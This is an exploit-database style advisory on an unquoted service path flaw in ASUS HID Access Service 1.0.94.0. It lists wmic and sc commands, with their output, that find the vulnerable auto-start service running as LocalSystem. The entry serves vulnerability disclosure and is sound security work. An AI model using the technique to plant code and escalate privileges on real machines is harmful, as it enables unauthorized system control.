# Exploit Title: ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path # Date: 2020-05-19 # Exploit Author: Alejandra Sánchez # Vendor Homepage: www.asus.com # Version: 1.0.94.0 # Tested on: Windows 10 Pro x64 es # Description: ATK Hotkey 1.0.94.0 suffers from an unquoted search path issue impacting the service 'AsHidService'. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application. # Prerequisites Local, Non-privileged Local User with restart capabilities # Details C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ ASUS HID Access Service AsHidService C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsHidSrv.exe Auto C:\>sc qc "AsHidService" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: AsHidService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsHidSrv.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : ASUS HID Access Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem |
